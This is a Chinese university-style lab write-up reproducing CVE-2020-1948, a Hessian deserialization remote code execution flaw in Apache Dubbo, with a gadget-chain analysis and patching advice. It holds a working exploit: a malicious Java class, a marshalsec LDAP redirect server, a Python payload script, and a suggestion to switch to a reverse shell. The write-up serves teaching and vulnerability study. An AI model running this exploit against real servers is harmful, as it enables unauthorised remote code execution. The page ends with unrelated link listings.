【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一、实验简介
- 实验所属系列: 系统安全
- 实验对象:本科/专科信息安全专业
- 相关课程及专业: 计算机网络
- 实验时数(学分):2 学时
- 实验类别: 实践实验类
二、实验目的
Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。本实验详细介绍了有关的系统知识和分析该漏洞原因并复现该漏洞。通过该实验了解该漏洞,并利用该实验了解、基本掌握漏洞环境搭建技巧,通过复现该漏洞,了解工具的一些知识。
三、预备知识
3.1 RPC
RPC(Remote Procedure Call)远程过程调用协议,一种通过网络从远程计算机上请求服务,而不需要了解底层网络技术的协议。RPC它假定某些协议的存在,例如TPC/UDP等,为通信程序之间携带信息数据。在OSI网络七层模型中,RPC跨越了传输层和应用层,RPC使得开发,包括网络分布式多程序在内的应用程序更加容易。
3.2 dubbo
dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
这里介绍的dubbo漏洞里的dubbo指的是RPC框架。dubbo同时是阿里尚未开发成熟的高效 java 序列化实现,阿里不建议在生产环境使用它。
3.3 Hessian
hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。
Hessian 协议用于集成 Hessian 的服务,Hessian 底层采用 Http 通讯,采用 Servlet 暴露服务,Dubbo 缺省内嵌 Jetty 作为服务器实现。
Dubbo 的 Hessian 协议可以和原生 Hessian 服务互操作,即:
- 提供者用 Dubbo 的 Hessian 协议暴露服务,消费者直接用标准 Hessian 接口调用
- 或者提供方用标准 Hessian 暴露服务,消费方用 Dubbo 的 Hessian 协议调用
一个简单的Hessian序列化使用方法
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
class User implements Serializable {
public static void main(String[]args){
// System.out.println("hehe");
}
}
public class HessianTest {
public static void main(String[] args) throws Exception {
Object o=new User();
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(o);
output.close();
System.out.println(os.toString());
}
}
3.4 协议关系
Dubbo和序列化到底是怎么个关系,可以从以下几点考虑:
- Dubbo 从大的层面上将是RPC框架,负责封装RPC调用,支持很多RPC协议
- RPC协议包括了dubbo、rmi、hession、webservice、http、redis、rest、thrift、memcached、jsonrpc等
- Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化
3.5 漏洞原理
主要利用Dubbo协议调用其他RPC协议时会涉及到数据的序列化和反序列化操作。如果没有做检查校验很有可能成功反序列化攻击者精心构造的恶意类,利用java调用链使服务端去加载远程的Class文件,通过在Class文件的构造函数或者静态代码块中插入恶意语句从而达到远程代码执行的攻击效果。
四、实验环境
- docker
- python
- java
- marshalsec-jar
五、实验步骤
【CVE-2020-1948】为反序列化漏洞,这个漏洞导致远程攻击者可以通过构造恶意反序列化数据执行任意命令,进而获取服务器权限。我们的任务分为三部分:
- 实验环境启动
- 漏洞利用
- 拓展任务
5.1 实验环境启动
任务描述:本次实验通过使用docker搭建 dubbo漏洞环境,为后续复现漏洞做准备。
- 通过命令
docker pull dsolab/dubbo:cve-2020-1948
拉取docker环境。 - 通过命令
docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d
启动镜像,如图说明启动成功。
5.2 漏洞利用
任务描述:本次实验通过各种工具配合来对实验环境进行攻击,达到执行命令的效果。
- 准备exp文件,编写exp.java如下
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/success");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
编译java文件
javac exp.java
使用python在该目录启动HttpServer
下载marshalsec-jar
git clone https://github.com/RandomRobbieBF/marshalsec-jar.git
- 使用marshalsec-jar启动LDAP代理服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.31.153/#exp 777
192.168.31.153为我本机IP
- 使用poc编写python脚本
# -*- coding: utf-8 -*-
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
保存为exp.py
- 执行exp.py
python3 exp.py 192.168.31.153 12345 ldap://192.168.31.153:777/exp
可以看到通过LDAP代理重定向去访问了之前编译的exp.class文件。
- 使用
docker exec -it 264f1bb1fede "/bin/bash"
进入容器,可以看到我们在/tmp目录下成功创建了success文件,说明漏洞利用成功。
拓展任务
上个任务执行的命令是在exp.py中定义的
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/success");\\命令定义
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
可以尝试修改命令执行,比如反弹shell或者用dnslog探查漏洞。
六、漏洞分析
利用链分析
在marshalsec工具中,提供了对于Hessian反序列化可利用的几条链:
https://github.com/mbechler/marshalsec
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
对于dubbo反序列化可利用的条件:
- 默认dubbo协议+hessian2序列化方式
- 序列化tcp包可随意修改方法参数反序列化的class
- 反序列化时先通过构造方法实例化,然后在反射设置字段值
- 构造方法的选择,只选择花销最小并且只有基本类型传入的构造方法
如果要实现远程命令执行,需要找到符合以下条件的gadget chain:
- 有参构造方法
- 参数不包含非基本类型
- cost最小的构造方法并且全部都是基本类型或String
这样的利用条件太苛刻了,不过万事没绝对,参考marshalsec,可以利用rome依赖使用HashMap触发key的hashCode方法的gadget chain来打,以下是对hessian2反序列化map的源码跟踪:
Override
@SuppressWarnings("unchecked")
public <T> T readObject(Class<T> cls) throws IOException,
ClassNotFoundException {
return (T) mH2i.readObject(cls);
}
@Override
public Object readObject(Class cl)
throws IOException {
return readObject(cl, null, null);
}
@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
//...
switch (tag) {
//...
case 'H': {
Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);
boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
// fix deserialize of short type
return reader.readMap(this
, keyValuePair ? expectedTypes[0] : null
, keyValuePair ? expectedTypes[1] : null);
}
//...
}
}
@Override
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
doReadMap(in, map, expectKeyType, expectValueType);
in.readEnd();
return map;
}
protected void doReadMap(AbstractHessianInput in, Map map, Class<?> keyType, Class<?> valueType) throws IOException {
Deserializer keyDeserializer = null, valueDeserializer = null;
SerializerFactory factory = findSerializerFactory(in);
if(keyType != null){
keyDeserializer = factory.getDeserializer(keyType.getName());
}
if(valueType != null){
valueDeserializer = factory.getDeserializer(valueType.getName());
}
while (!in.isEnd()) {
map.put(keyDeserializer != null ? keyDeserializer.readObject(in) : in.readObject(),
valueDeserializer != null? valueDeserializer.readObject(in) : in.readObject());
}
}
从上面贴出来的部分执行栈信息,可以清晰的看到,最终在反序列化中实例化了新的HashMap,然后把反序列化出来的实例put进去,因此,会触发key的hashCode方法。
七、总结与修复
总结
如果系统开启了dubbo端口(如1.2.3.4:12345),攻击者使用python模拟dubbo通信协议发送rpc请求,数据包含带有无法识别的服务名称service_nam或方法名称method_name,及恶意参数(JdbcRowSetImpl等),在反序列化这些恶意参数时便会触发JNDI注入,导致执行任意恶意代码。
因此攻击难度较低,但攻击危害很大。
防御手段
更新至2.7.7版本:
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7通用防御措施,增加反序列化前的service name的判断,但如果控制到中间注册中心还是会存在攻击风险;
hessian自身没有其他序列化包做gadgets层的防护,建议使用时进行拓展,可以参考SOFA的处理(https://github.com/sofastack/sofa-hessian ) 来增加对应的黑名单过滤器。
【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现的更多相关文章
- Apache Dubbo Provider默认反序列漏洞复现(CVE-2020-1948)
Apache Dubbo Provider默认反序列漏洞(CVE-2020-1948) 0x01 搭建漏洞环境 漏洞介绍 2020年06月23日, 360CERT监测发现Apache Dubbo 官方 ...
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- WebLogic XMLDecoder反序列化漏洞复现
WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...
- Jboss反序列化漏洞复现(CVE-2017-12149)
Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...
- jboss反序列化漏洞复现(CVE-2017-7504)
jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ...
- php反序列化漏洞复现过程
PHP反序列化漏洞复现 测试代码 我们运行以上代码文件,来证明函数被调用: 应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都 ...
- php反序列化漏洞复现
超适合小白的php反序列化漏洞复现 写在前头的话 在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下.我觉得学习的时候,所有的问题都应该问3个问题: ...
随机推荐
- P7295-[USACO21JAN]Paint by Letters P【平面图欧拉公式】
正题 题目链接:https://www.luogu.com.cn/problem/P7295 题目大意 给出\(n*m\)的网格,每个格子上有字母,相同字母的四联通相邻格子为连通,每次询问一个子矩阵求 ...
- Linux环境yum,安装MySQL
Linux 使用yum命令安装mysql [安装步骤] 1.先检查系统是否安装有mysql [root@localhost ~]#yum list installed mysql* [root@loc ...
- 踩坑系列《五》 Incorrect datetime value: 时间添加失败原因
在进行单元测试中通过 new Date() 方式添加时间时,报了 Data truncation: Incorrect datetime value:这样的错误(我数据库表的时间类型是 datetim ...
- nsq topic
与Topic相关的代码主要位于nsqd/topic.go中. 上一篇文字我们讲解了下nsq的启动流程.对nsq的整体框架有了一个大概的了解.本篇文章就是由大到小.对于topic这一部分进行详尽的讲解. ...
- 三种方法求解最大子区间和:DP、前缀和、分治
题目 洛谷:P1115 最大子段和 LeetCode:最大子序和 给出一个长度为 \(n\) 的序列 \(a\),选出其中连续且非空的一段使得这段和最大. 挺经典的一道题目,下面分别介绍 \(O(n) ...
- 极简SpringBoot指南-Chapter05-SpringBoot中的AOP面向切面编程简介
仓库地址 w4ngzhen/springboot-simple-guide: This is a project that guides SpringBoot users to get started ...
- 利用caffe.proto生成caffe.pb.h
完全按照博文来就好了:http://blog.csdn.net/u012905422/article/details/52794693
- sarama的消费者组分析、使用
以前老的sarama版本不支持消费者组的消费方式,所以大多数人都用sarama-cluster. 后来sarama支持了消费者组的消费方式,sarama-cluster也停止维护了,但网上关于sara ...
- 题解 AVL 树
link Description 给出一个 \(n\) 个点的 AVL 树,求保留 \(k\) 个点使得字典序最小. \(n\le 5\times 10^5\) Solution 因为我很 sb ,所 ...
- 云原生的弹性 AI 训练系列之三:借助弹性伸缩的 Jupyter Notebook,大幅提高 GPU 利用率
Jupyter Notebooks 在 Kubernetes 上部署往往需要绑定一张 GPU,而大多数时候 GPU 并没有被使用,因此利用率低下.为了解决这一问题,我们开源了 elastic-jupy ...